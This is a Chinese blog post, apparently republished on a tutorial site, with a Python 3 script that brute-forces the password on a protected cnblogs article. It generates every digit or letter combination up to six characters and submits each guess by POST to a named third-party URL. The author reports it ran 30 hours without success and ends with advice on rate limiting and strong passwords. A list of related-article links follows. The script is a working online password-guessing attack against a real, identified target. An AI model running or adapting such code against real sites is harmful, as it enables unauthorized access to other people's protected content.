python3实现暴力穷举博客园密码


Posted in Python onJune 19, 2016

我之前想写路由器的密码暴力破解器,我手上只有极路由,发现极路由有安全限制,只能允许连续10密码错误,所以我改拿博客园练手。

博客园的博客有个功能是给博文设置一个密码,输入正确的密码才能看到文章的内容。经过测试发现这个密码验证功能,既没有验证码也没有提交频率的限制,

要写这个针对博客园的密码暴力破解器模型会非常简单,很好实现。

比如打开这个博文,会显示一个密码输入框:http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html

我之前没有写过这样的程序,也没有看过别人写这类功能的代码,就按我自己所理解的想法来写一个最简单的密码破解器,不要多线程,不要分布式,

这个程序会有这么两个部分:

1、我需要一个生成器,可以不停的生成所有可能的密码组合,比如生成a,b,c,aa,bb,cc,ab,ac...abc,cba...abcd...等等所有的密码组合。

2、我需要不停的提交密码,直到认为密码正确,记录密码,退出程序。

-_-!为什么使用生成器?

python2中range() 不是一个生成器,当你range(N),N为一个很大的数时...python就会爆炸!!!哈哈哈..

写细致的博客太消耗时间和心力,我这里不写具体的分析过程了,后面直接上代码,如果看不懂,查相关关键词就可以,毕竟基础教程性的文章和内容非常之多。

tqdm是一个python进度条库,requests是一个简单优雅的http库,

product是python3的标准库itertools下的函数,可以用生成 (a,b,c...) (c,b,a...)这样的序列,用''.join连接起来就得到了"abc"这样的一个密码。

"""
python3暴力穷举密码
2016年6月09日 04:39:25 codegay
"""
from time import strftime
from itertools import product
from time import sleep
from tqdm import tqdm
import requests
from requests import post

#密码生成器
def psgen(x=4):
  iter = ['1234567890',
      'abcdefghijklmnopqrstuvwxyz',
      'ABCDEFGHIJKLMNOPQRSTUVWXYZ',

      ]
  for r in iter:
    for repeat in range(1,x+1):
      for ps in product(r,repeat=repeat):
        yield ''.join(ps)

def fx(url):
#把URL中的readauth字符删掉,替换成"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的格式,因为这个才POST的目标地址。
  url = url.replace("/post/readauth?url=", "")
  for ps in tqdm(psgen(6)):
    try:
      rs=post(url,data={'tb_password':ps},allow_redirects=1)
      if rs.url == url: #如果提交密码后,返回的url得到为"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的形式,那么认为猜到正确的密码了。
        with open("resut.csv","a+") as f:
          f.write('密码破解成功结果为:,'+ ps + ',' + strftime("%c") + ',' + url+'\n')
        break
    except:
      sleep(1)
      pass

url='http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html'
fx(url)

最后,这个程序运行速度大约是每秒提交6次密码,我运行了30个小时,也不过是迭代几十万次,并没有能把密码破解出来,没有产生实质性的危害。

总结:

1、密码验证的地方适当增加一些防止暴力破解的手段。

2、仍然有必要使用复杂的密码提高安全度。虽然这样的一个简单的程序并没有什么卵用。

Python 相关文章推荐
python使用xlrd实现检索excel中某列含有指定字符串记录的方法
May 09 Python
python读文件保存到字典,修改字典并写入新文件的实例
Apr 23 Python
python读取一个目录下所有txt里面的内容方法
Jun 23 Python
Pycharm 实现下一个文件引用另外一个文件的方法
Jan 17 Python
python twilio模块实现发送手机短信功能
Aug 02 Python
python文字转语音实现过程解析
Nov 12 Python
python计算波峰波谷值的方法(极值点)
Feb 18 Python
利用python实现逐步回归
Feb 24 Python
Python restful框架接口开发实现
Apr 13 Python
解决运行django程序出错问题 'str'object has no attribute'_meta'
Jul 15 Python
Python grpc超时机制代码示例
Sep 14 Python
Python 实现键盘鼠标按键模拟
Nov 18 Python
在阿里云服务器上配置CentOS+Nginx+Python+Flask环境
Jun 18 #Python
Python中使用装饰器来优化尾递归的示例
Jun 18 #Python
举例讲解Python面向对象编程中类的继承
Jun 17 #Python
浅谈python为什么不需要三目运算符和switch
Jun 17 #Python
python运行时间的几种方法
Jun 17 #Python
从局部变量和全局变量开始全面解析Python中变量的作用域
Jun 16 #Python
实例讲解Python中global语句下全局变量的值的修改
Jun 16 #Python
You might like
PHP之变量、常量学习笔记
2008/03/27 PHP
php 随机记录mysql rand()造成CPU 100%的解决办法
2010/05/18 PHP
ThinkPHP中的关联模型注意点
2014/06/16 PHP
smarty自定义函数htmlcheckboxes用法实例
2015/01/22 PHP
php外部执行命令函数用法小结
2016/10/11 PHP
PHP两个n位的二进制整数相加问题的解决
2018/08/26 PHP
告诉大家什么是JSON
2008/06/10 Javascript
JavaScript 在各个浏览器中执行的耐性
2009/04/06 Javascript
javascript获得CheckBoxList选中的数量
2009/10/27 Javascript
extjs 为某个事件设置拦截器
2010/01/15 Javascript
jQuery编写widget的一些技巧分享
2010/10/28 Javascript
JavaScript 处理Iframe自适应高度(同或不同域名下)
2013/03/29 Javascript
JQuery each打印JS对象的方法
2013/11/13 Javascript
跨域传值即主页面与iframe之间互相传值
2013/12/09 Javascript
探讨JQUERY JSON的反序列化类 using问题的解决方法
2013/12/19 Javascript
jquery模拟LCD 时钟的html文件源代码
2014/06/16 Javascript
详解JavaScript的while循环的使用
2015/06/03 Javascript
javascript字符串循环匹配实例分析
2015/07/17 Javascript
JS实现队列与堆栈的方法
2016/04/21 Javascript
Vue.js中数组变动的检测详解
2016/10/12 Javascript
livereload工具实现前端可视化开发【推荐】
2016/12/23 Javascript
react-redux中connect()方法详细解析
2017/05/27 Javascript
NodeJS实现微信公众号关注后自动回复功能
2017/05/31 NodeJs
微信小程序实现缓存根据不同的id来进行设置和读取缓存
2017/06/12 Javascript
Angular中ng-repeat与ul li的多层嵌套重复问题
2017/07/24 Javascript
微信小程序之选项卡的实现方法
2017/09/29 Javascript
[03:32]2014DOTA2西雅图邀请赛 CIS外卡赛赛前black专访
2014/07/09 DOTA
python实现字符串中字符分类及个数统计
2018/09/28 Python
Python 通过微信控制实现app定位发送到个人服务器再转发微信服务器接收位置信息
2019/08/05 Python
Python 用三行代码提取PDF表格数据
2019/10/13 Python
用Python 执行cmd命令
2020/12/18 Python
考博专家推荐信模板
2013/12/02 职场文书
2014年检验科工作总结
2014/11/22 职场文书
雷锋的观后感
2015/06/10 职场文书
python3 删除所有自定义变量的操作
2021/04/08 Python
Ruby处理YAML和json数据
2022/04/18 Ruby